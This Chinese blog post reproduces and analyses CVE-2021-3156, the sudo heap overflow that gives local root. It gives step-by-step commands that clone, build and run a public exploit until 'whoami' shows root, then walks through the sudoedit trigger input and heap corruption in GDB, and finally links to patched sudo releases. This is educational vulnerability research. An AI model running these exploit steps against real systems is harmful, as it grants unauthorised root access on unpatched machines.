【CVE-2021-3156】——漏洞复现、原理分析以及漏洞修复

文章目录

  • 前言
  • 1、漏洞概述
  • 2、漏洞复现
    • 2.1、漏洞复现测试环境
    • 2.2、漏洞复现具体步骤
  • 3、漏洞原理
    • 3.1、前置知识
      • 3.1.1、sudo
      • 3.1.2、sudoedit
      • 3.1.3、转义字符
    • 3.2、漏洞分析
  • 4、漏洞修复
  • 5、参考文献
  • 总结


前言

  2021年01月27日,RedHat官方发布了Sudo缓冲区/栈溢出漏洞的风险通告,普通用户可以通过利用此漏洞,而无需进行身份验证,成功获取Root权限。


1、漏洞概述

  1.9.5p2之前的Sudo包含一个off-by-one错误,该错误可能导致基于堆的缓冲区溢出,这允许通过sudoedit -s和以单个反斜杠字符结尾的命令行参数将权限提升到root。关于此漏洞的详细信息请参阅下表。关于此漏洞的更多信息,请参阅阿里云漏洞库和NVD:

描述项具体值
CVE编号CVE-2021-3156
NVD评分7.8
披露时间2021-01-27
漏洞类型堆缓冲区溢出、Off-by-one错误、跨界内存写
漏洞危害本地提权
影响范围1.8.2<sudo<1.8.31p2、1.9.0<sudo<1.9.5p1
是否有Patch
Patch是否可用暂无
数据保密性无影响
数据完整性无影响
攻击路径本地
攻击复杂度容易

2、漏洞复现

2.1、漏洞复现测试环境

软件环境硬件环境约束条件
操作系统版本为ubuntu-18.04.5-desktop-amd64分配4个处理器,每个处理器有4个内核,处理器内核总数为161.8.2<sudo<1.8.31p2
Linux内核版本为5.4.0-42-generic内存16GB1.9.0<sudo<1.9.5p1
使用的虚拟机管理器为VMware 17.0.0硬盘400GB暂无

2.2、漏洞复现具体步骤

  首先去文件服务器中查找是否存在符合当前漏洞条件的操作系统和Linux内核版本的组合的虚拟机系统,如果存在,则参考下文进行漏洞复现。否则请参阅“POC验证环境搭建规范”一文搭建满足当前漏洞条件的操作系统和Linux内核的组合的虚拟机系统并将其上传到我们的服务器后,再参考下文进行漏洞复现。

  1. 首先查看当前Ubuntu系统的版本:
$ lsb_release -a
  1. 可以发现当前Ubuntu系统的版本为18.04.5 LTS:
    在这里插入图片描述

  2. 然后查看当前Ubuntu系统的Linux内核的版本:

$ uname -r
  1. 可以发现当前Ubuntu系统的Linux内核的版本为5.4.0-42-generic:
    在这里插入图片描述

  2. 然后使用如下命令查看当前系统中的sudo的版本:

$ sudo --version
  1. 可以发现当前系统中的sudo的版本为1.8.21p2:
    在这里插入图片描述

  2. 然后下载安装POC/CVE验证所需要的软件:

$ sudo apt-get update
$ sudo apt-get install git -y
$ sudo apt-get install make -y
$ sudo apt-get install gcc -y
$ sudo apt-get install g++ -y
  1. 然后来到当前用户的根目录中,创建名为“CVE-2021-3156”的目录,并进入此目录:
$ cd ~
$ mkdir CVE-2021-3156
$ cd CVE-2021-3156/
  1. 然后在名为“CVE-2021-3156”的目录中下载Exploit源码,并进入其源码目录:
$ git clone https://github.com/blasty/CVE-2021-3156.git
$ cd CVE-2021-3156/
  1. 然后执行如下命令来编译源代码以得到用于POC/CVE验证的二进制文件:
$ make
  1. 然后使用如下命令查看上面的操作的结果:
$ ll
  1. 可以发现,已经成功得到了用于POC/CVE验证的二进制文件:
    在这里插入图片描述

  2. 然后在此目录中继续创建一个名为“run.sh”的文件,并编辑其:

$ touch run.sh
$ gedit run.sh
  1. 在打开的文件中,输入如下内容。这些内容就是用来自动化和规范的来进行POC/CVE的验证:
#!/bin/bash# Run script for CVE-2021-3156 exploit# Add any setup commands if needed
# Example: ./setup.sh# Run the exploit binary
./sudo-hax-me-a-sandwich 0# Add any cleanup commands if needed
# Example: rm -f some_fileecho "Script execution completed."
  1. 当我们做完以上操作后,保存以上修改后退出,然后赋予“run.sh”脚本执行权限,并执行其以进行POC/CVE的验证:
$ chmod +x run.sh
$ ./run.sh
  1. 执行上面的命令后,发现已经成功利用此Exploit获取到了root用户的权限:
    在这里插入图片描述

  2. 我们可以使用如下命令进一步验证当前用户的权限:

# whoami
  1. 可以发现,已经成功提权:
    在这里插入图片描述

3、漏洞原理

3.1、前置知识

3.1.1、sudo

  sudo(Superuser Do)是一个在Unix和类Unix操作系统中用于以超级用户(root用户)权限执行命令的命令行工具。它允许系统管理员授权普通用户执行特定任务,而不需要提供完整的超级用户凭证。以下是关于sudo工具的一些关键特点和用法:

  1. 权限提升:允许普通用户以超级用户身份执行特定的命令或访问受保护的文件,通常需要输入用户自己的密码而不是超级用户密码。
  2. 安全性:提高系统的安全性,因为用户只有在需要时才能获得超级用户权限,并且所有的操作都可以被审计。
  3. 配置文件:可以通过配置文件(通常是“/etc/sudoers”)定义哪些用户可以执行哪些命令,以及在执行这些命令时是否需要输入密码。
  4. 命令格式:sudo命令通常的格式为sudo [选项] 命令 [命令参数]。例如,sudo ls /root允许普通用户以超级用户权限列出“/root”目录的内容。

  请注意,sudo可以用于在终端中执行单个命令,也可以使用sudo -ssudo su来启动一个新的shell以获取超级用户权限,但这样的使用需要谨慎,确保只有授权的用户可以执行。

3.1.2、sudoedit

  sudoedit是sudo命令的一个别名,用于以超级用户(root用户)权限编辑文件。它允许普通用户在不需要完全切换到超级用户账户的情况下,通过指定的文本编辑器编辑受保护的文件。以下是一些关于sudoedit命令的一些关键特点和用法:

  1. 权限控制:允许普通用户编辑系统中的文件,而不需要直接使用超级用户权限。这有助于提高系统的安全性。
  2. 配置文件:类似于sudo命令,sudoedit命令的权限也可以通过配置文件(通常是“/etc/sudoers”)进行定义和配置。
  3. 安全性:由于编辑器的选择是通过配置文件中指定的,系统管理员可以限制用户可以使用的编辑器,从而提高安全性。
  4. 命令格式:sudoedit命令的基本格式是sudoedit [选项] 文件。例如,sudoedit /etc/hosts命令允许用户以超级用户权限编辑“/etc/hosts”文件。
  5. 基本参数:
    • -s--shell:打开一个新的shell,允许用户以超级用户权限执行命令
    • -h--help:显示sudoedit的帮助信息,列出可用选项和参数
    • -V--version:显示sudoedit的版本信息
    • -b--background:在后台模式下运行编辑器。这对于在脚本或其他自动化任务中使用sudoedit可能很有用

  使用sudoedit命令时,用户通常会被要求输入他们自己的密码,而不是超级用户密码,以进行身份验证。这使得sudoedit更加安全,因为系统可以追踪哪个用户以超级用户权限编辑了哪些文件。

3.1.3、转义字符

  转义字符是一种用于表示一些特殊字符的机制,通常通过在字符前面加上反斜杠(\)来实现。转义字符告诉解释器或编译器,后面的字符应该以不同于其原始含义的方式被解释。以下是一些常见的转义字符及其用途:

  1. \n:换行符,用于在字符串中创建新的一行。
  2. \t:制表符,用于在字符串中插入水平制表符。
  3. \r:回车符,将光标移动到行首而不换行。
  4. ":双引号,用于在双引号内表示双引号字符。
  5. ':单引号,用于在单引号内表示单引号字符。
  6. \:反斜杠,用于在字符串中表示反斜杠字符本身。
  7. \x:十六进制转义,用于表示一个字符的十六进制值,例如\x41表示字符’A’。

  在编程语言和正则表达式等上下文中,转义字符是为了能够处理和表示特殊字符,以及避免与语言中的其他语法冲突。例如,在字符串中使用转义字符可以让你插入一些特殊的字符,而不会与字符串的边界或其他字符产生歧义。需要注意的是:

  • C语言中,\\表示\
  • GDB中,\\表示\

3.2、漏洞分析

  为了分析CVE-2021-3156漏洞的原理,我们需要从sudo工具的源代码级别对其进行分析,还需要GDB对其进行调试。我们以1.8.31p1版本的sudo工具的源代码为例进行分析(因为系统自带的sudo工具没有开启调试功能,故无法对其进行分析,且1.8.31p1版本的sudo工具也存在CVE-2021-3156漏洞),当前首先需要下载此版本的sudo工具的源代码,并进入其源代码目录中。

$ cd ~
$ wget https://www.sudo.ws/dist/sudo-1.8.31p1.tar.gz
$ tar xf sudo-1.8.31p1.tar.gz
$ cd sudo-1.8.31p1/

  然后我们打开如下文件,来查看其中内容。

$ gedit src/parse_args.c

  在打开的文件中定位到第590~第591行(此部分代码属于名为“parse_args”的函数),这部分代码添加了sudo命令对于特殊格式参数的转义的处理,即如果参数不是数字或者字母,并且不是_-$字符,则对其进行转义。
在这里插入图片描述

  然后我们关闭以上文件,并打开如下文件,来查看其中内容。

$ gedit plugins/sudoers/sudoers.c

  在打开的文件中定位到第864~第871行(此部分代码属于名为“set_cmnd”的函数),这部分代码的作用是去掉所有的转义符\,因为外部的输入参数最终需要保存到内存中的堆或栈空间,而这个名为“set_cmnd”的函数就是为了将命令行参数复制到堆内存,所以需要去掉所有的转义符\。我们今天讨论的CVE-2021-3156漏洞源于此处的代码。
在这里插入图片描述

  然后关闭以上文件即可。当我们对上述两个函数的作用有了一个清楚的认识之后,现在假设当我们执行sudoedit -s '\' python3 -c “print(‘A’*8)”``命令,会有两种情况:

  • 情况一:首先使用parse_args函数对命令中的\进行转义,然后传入set_cmnd函数中消除转义,这个过程是没问题的,最终可以正常执行命令
  • 情况二:不使用parse_args函数对命令中的\进行转义,然后也会进入set_cmnd函数中消除转义,不过此时在for循环的拷贝过程中,由于输入的参数只有一个\,因为没有对其进行转义,那么就会满足if判断的条件,跳过\,从而拷贝\后面的参数到user_args中,即’AAAAAAAA’(由于没有转义造成的第一次拷贝),当使用while循环拷贝完毕后,再次进入for循环,又将’AAAAAAAA’拷贝到user_args中(正常的第二次拷贝),那此时很明显拷贝的数据已经超过了user_args的长度,从而导出其发生堆溢出的情况,这样我们就可以计算出对应的溢出地址,对其插入shellcode,最终可以让普通用户提权

  下面我们将会使用GDB调试sudoedit -s '\' python3 -c “print(‘A’*8)”``命令来复现这整个过程。需要注意的是,我们不能直接使用系统自带的sudo工具来复现整个过程,因为其没有开启调试模式,我们得手动编译安装sudo工具,并开启调试模式,这就要用到我们刚刚下载的sudo 1.8.31p1的源代码了。

  1. 首先进入刚刚下载的sudo 1.8.31p1的源代码目录中,开启-g选项来安装此版本的sudo工具:
$ cd ~/sudo-1.8.31p1/
$ ./configure CFLAGS="-g"
$ make
$ sudo make install
$ sudo cp src/sudo /usr/bin/sudo
  1. 然后查看当前系统中的sudo工具的版本:
$ sudo -V
  1. 可以发现,当前系统中的sudo工具的版本就是我们刚刚安装的sudo工具的版本:
    在这里插入图片描述

  2. 然后我们得安装GDB:

$ sudo apt-get update
$ sudo apt-get install gdb -y
  1. 然后对sudoedit -s '\' python3 -c “print(‘A’*8)”``命令进行调试:
$ sudo gdb --args sudoedit -s '\' `python3 -c "print('A'*8)"`
  1. 然后按照如下方式设置断点。注:这里在设置断点的时候可能会提示我们找不到目标文件,这很正常,别担心,因为sudo工具的代码是动态加载的,我们只需要在这里设置好断点,后面当我们调试程序的时候,目标文件的代码就会自动加载进来了:
(gdb) b main
(gdb) set follow-exec-mode new
(gdb) set breakpoint pending on
(gdb) b sudoers.c:858
(gdb) b sudoers.c:872
  1. 然后运行程序,并继续向下执行程序直到断点:
(gdb) r
(gdb) c
  1. 当我们遇到断点后,查看user_args申请的内存空间的大小:
(gdb) p size
  1. 可以发现此时user_args申请的内存空间的大小为11,这符合常理,因为参数\和参数AAAAAAAA长度一共为9,而每个字符串后面都还有\0作为占位符表示当前字符串结束,所以长度一共为11=2+9:
    在这里插入图片描述

  2. 我们可以查看一下此时NewArgv所指向的内存空间中的具体值:

(gdb) p NewArgv[0]
(gdb) p NewArgv[1]
(gdb) p NewArgv[2]
  1. 可以发现,此时NewArgv所指向的内存空间中的具体值和我们预想的一样:
    在这里插入图片描述

  2. 经过上面的分析,我们是通过以下代码完成对NewArgv[1]NewArgv[2]中的数据到user_args的拷贝:

if (from[0] == '\\' && !isspace((unsigned char)from[1]))  from++;  
  1. 以上代码中的from就指向了NewArgv,如果传入的参数为\,那么就会进入上面的代码段完成对参数的拷贝,不过此拷贝过程不会停止,因为一直都满足if判断的条件,直到拷贝完参数AAAAAAAA才结束这一轮的拷贝。所以我们重点关注NewArgv[1]后面的值,因为NewArgv[1]指向的内存空间就存储了传入的参数\
(gdb) x/20xb 0x7ffe6a73d834
  1. 可以发现,NewArgv[1]后面刚好是AAAAAAAA,这就印证了我们的猜想:
    在这里插入图片描述

  2. 然后查看一下此时(还没有开始拷贝)的user_args指向的内存空间的地址,和其中的具体值:

(gdb) p sudo_user.cmnd_args
(gdb) x/8xg 0x55a1702eb6a0
  1. 可以发现,此时user_args指向的内存空间的地址为“0x55a1702eb6a0”,其中的具体值如下图所示:
    在这里插入图片描述

  2. 然后从此处的断点继续向下执行程序来完成所有的拷贝过程,直到下一个断点:

(gdb) c
  1. 当我们完成拷贝过程后,再次查看user_args指向的内存空间中的具体值:
(gdb) x/8xg 0x55a1702eb6a0
  1. 可以发现,参数AAAAAAAA被复制了两次,这就验证了我们的猜想:
    在这里插入图片描述

  2. 为了进一步验证我们的猜想,我们来查看拷贝完成之后指针停留的内存空间地址(即指针to指向的内存空间的地址):

(gdb) p to
  1. 然后计算并打印拷贝完成后的内存空间的大小:
(gdb) p 0x55a1702eb6b3-0x55a1702eb6a0
  1. 可以发现,拷贝完成后的内存空间的大小为19,刚好多了参数AAAAAAAA的长度,即19=11+8。那么经过以上分析,已经成功验证了我们所有猜想,证明了CVE-2021-3156漏洞确实可以导致堆/栈溢出:
    在这里插入图片描述

  2. 最后我们顺序执行如下命令结束本次调试即可(如果有提示输入“y”或者“n”,我们只需要输入“y”后按一下“Enter”即可):

(gdb) quit

4、漏洞修复

  下载升级sudo软件包,下载链接为:https://www.sudo.ws/dist/
  ……
  关于此漏洞补丁的详细信息请参阅https://avd.aliyun.com/detail?id=AVD-2021-3156。

5、参考文献

  1. 阿里云漏洞库
  2. NVD
  3. Exploit
  4. CVE-2021-3156 漏洞复现
  5. 【CVE-2021-3156】linux sudo提权漏洞复现及修复
  6. cve-2021-3156-sudo堆溢出简单分析
  7. CVE-2021-3156分析
  8. CVE-2021-3156 sudo本地提权漏洞分析
  9. CVE-2021-3156调试分享
  10. Download Sudo | Sudo
  11. sudo版本升级以消除CVE-2021-3156
  12. 修复CVE-2021-3156漏洞的具体方法

总结

  以上就是关于CVE-2021-3156的全部内容了,后续还会带来关于其它应用漏洞的漏洞复现、原理分析以及漏洞修复,我们下篇博客见!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/20538.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于SSM前后端分离版本的论坛系统-自动化测试

目录 前言 一、测试环境 二、环境部署 三、测试用例 四、执行测试 4.1、公共类设计 创建浏览器驱动对象 测试套件 释放驱动类 4.2、功能测试 注册页面 登录页面 版块 帖子 用户个人中心页 站内信 4.3、界面测试 注册页面 登录页面 版块 帖子 用户个人中心页…

【Qt秘籍】[005]-Qt的首次邂逅-创建

一、如何创建文件? 当我们打开Qt Creator,你会发现整个界面类目繁多。现在,让我们直接开始新建一个项目。 1.点击左上角的“文件”>点击“新建文件或项目” 2.如图,选择“Application”>“Qt Wifgets application”> “…

奇偶校验位

描述 题目描述: 现在需要对输入的32位数据进行奇偶校验,根据sel输出校验结果(1输出奇校验,0输出偶校验) 信号示意图: 波形示意图: 输入描述: 输入信号 bus sel 类型 wi…

rust安装

目录 一、安装1.1 在Windows上安装1.2 在Linux下安装 二、包管理工具三、Hello World3.1 安装IDE3.2 输出Hello World 一、安装 1.1 在Windows上安装 点击页面 安装 Rust - Rust 程序设计语言 (rust-lang.org),选择"下载RUSTUP-INIT.EXE(64位)&qu…

2021JSP普及组第三题:插入排序

2021JSP普及组第三题 题目: 思路: 题目要求排序后根据操作进行对应操作。 操作一需要显示某位置数据排序后的位置,所以需要定义结构体数组储存原数据的位置和数据本身排序后所得数据要根据原位置输出排序后的位置,所以建立一个新…

Linux网络编程:应用层协议|HTTPS

目录 1.预备知识 1.1.加密和解密 1.2.常见加密方式 1.2.1.对称加密 1.2.2.非对称加密 ​编辑 1.3.数据摘要(数据指纹)和数据签名 1.4.证书 1.4.1.CA认证 1.4.2.证书和数字签名 2.HTTPS协议 2.1.自行设计HTTPS加密方案 2.1.1.只使用对称加密 …

构建企业级AI私有知识库

一、引言 在当今竞争激烈的市场环境中,企业为了保持竞争优势,需要高效地管理和利用内部知识资源。构建一个企业级AI私有知识库,不仅可以集中存储和管理企业知识,还能通过人工智能技术实现知识的智能化处理和利用。本文将详细介绍…

软考系统集成项目管理工程师第7章思维导图发布

2024年开年,软考系统集成项目管理工程师官方教程,迎来了阔别7年的大改版,改版之后的软考中项考试,离同宗兄弟高项考试渐行渐远。 中项第3版教程,仅仅从教程来看,其难度已经不亚于高级的信息系统项目管理师&…

WebGL开发三维家装设计

使用WebGL开发三维家装设计软件是一项复杂而有趣的任务,涉及3D建模、渲染、用户交互等多个方面。以下是详细的开发步骤和技术要点。北京木奇移动技术有限公司,专业的软件外包开发公司,欢迎交流合作。 1. 需求分析 目标用户 家装设计师家装公…

AVL树(C++)

文章目录 1. 键值对2. AVL树2.1 AVL树的概念2.2 AVL树节点的定义2.3 AVL树的插入2.3.1 按照二叉搜索树的方式插入新节点2.3.2 调整节点的平衡因子 2.4 AVL树的旋转2.4.1 右单旋2.4.2 左单旋2.4.3 左右双旋2.4.4 右左双旋 3. AVL树的删除4. AVL树的验证4. 源码 1. 键值对 键值对…

用follow.it为您的网站添加邮箱订阅功能(附2024版教程)

多数情况下网站用户浏览一次就不会来了(即使用户已收藏您的网站),因为用户很可能已把您的网站忘了。那么怎么样才能抓住网站回头客,让用户再次回到您的网站呢?除了提供更优质的原创内容外,比较好的方法是给…

笔试强训week7

day1 Q1 难度⭐⭐ 旋转字符串_牛客题霸_牛客网 (nowcoder.com) 题目: 字符串旋转: 给定两字符串A和B,如果能将A从中间某个位置分割为左右两部分字符串(可以为空串),并将左边的字符串移动到右边字符串后面组成新的…

c++新闻发布系统(支持登录注册)

c新闻发布系统(支持登录注册),支持新闻发布标题和内容 首先查看效果,系统主界面 vx:sredxc 这段代码是一个简单的新闻管理系统的实现。它包括两个类:UserManager(用户管理)和NewsManager(新闻管理)。UserManager负责用…

机器学习模型调试学习总结

1.学习内容 模型调试方法:冻结部分层,训练剩余层 实践:在一个预训练的 BERT 模型上冻结部分层,并训练剩余的层 模型调试方法:线性探测(Linear Probe) 实践:在一个预训练的 BERT …

crossover软件安装显示程序错误 crossover中文字体下载失败 运行exe乱码 crossover怎么运行软件

虽然Mac用户一直在不断的增加,但是很多人因为习惯了使用Windows系统上的软件,让他们在使用Mac时,也想照常使用Windows上的软件。借助系统兼容工具CrossOver,则可以便捷地在Mac中跨系统使用Windows系统下的应用和文件。 CrossOver…

深度学习入门

文章目录 深度学习基础前言深度学习应用计算机视觉 神经网络基础得分函数 f(x,W)损失函数Softmax分类器前向传播反向传播神经网络整体架构过拟合的解决办法激活函数 深度学习基础 前言 机器学习流程: 数据获取特征工程建立模型评估与应用 特征工程的作用&#x…

高考试卷押运车视频监控解决方案

一、引言 高考作为我国教育领域的重要事件,其公正、公平和安全性一直备受社会关注。试卷押运作为高考的重要环节,其安全性直接关系到高考的顺利进行和考生的切身利益。因此,对高考试卷押运车实施视频监控解决方案,对于确保试卷安…

蓝桥杯练习系统(算法训练)ALGO-935 互质数个数

资源限制 内存限制:256.0MB C/C时间限制:1.0s Java时间限制:3.0s Python时间限制:5.0s 互质数个数 问题描述 已知正整数x,求1~x-1中,有多少与x互质的数。(互质是指两个数最大公约数为1&…

PieCloudDB Database Flink Connector:让数据流动起来

面对客户环境中长期运行的各种类型的传统数据库,如何优雅地设计数据迁移的方案,既能灵活地应对各种数据导入场景和多源异构数据库,又能满足客户对数据导入结果的准确性、一致性、实时性的要求,让客户平滑地迁移到 PieCloudDB 数据…

arco design表单label和输入框的空间分布

表单空间分布 arco利用的栅格系统来实现label、input的大小分布 <a-form :model"formData.form" :label-col-props"{ span: 6 }" :wrapper-col-props"{ span: 18 }" >// 其它...... </a-form>栅格系统中&#xff0c;默认空间总量2…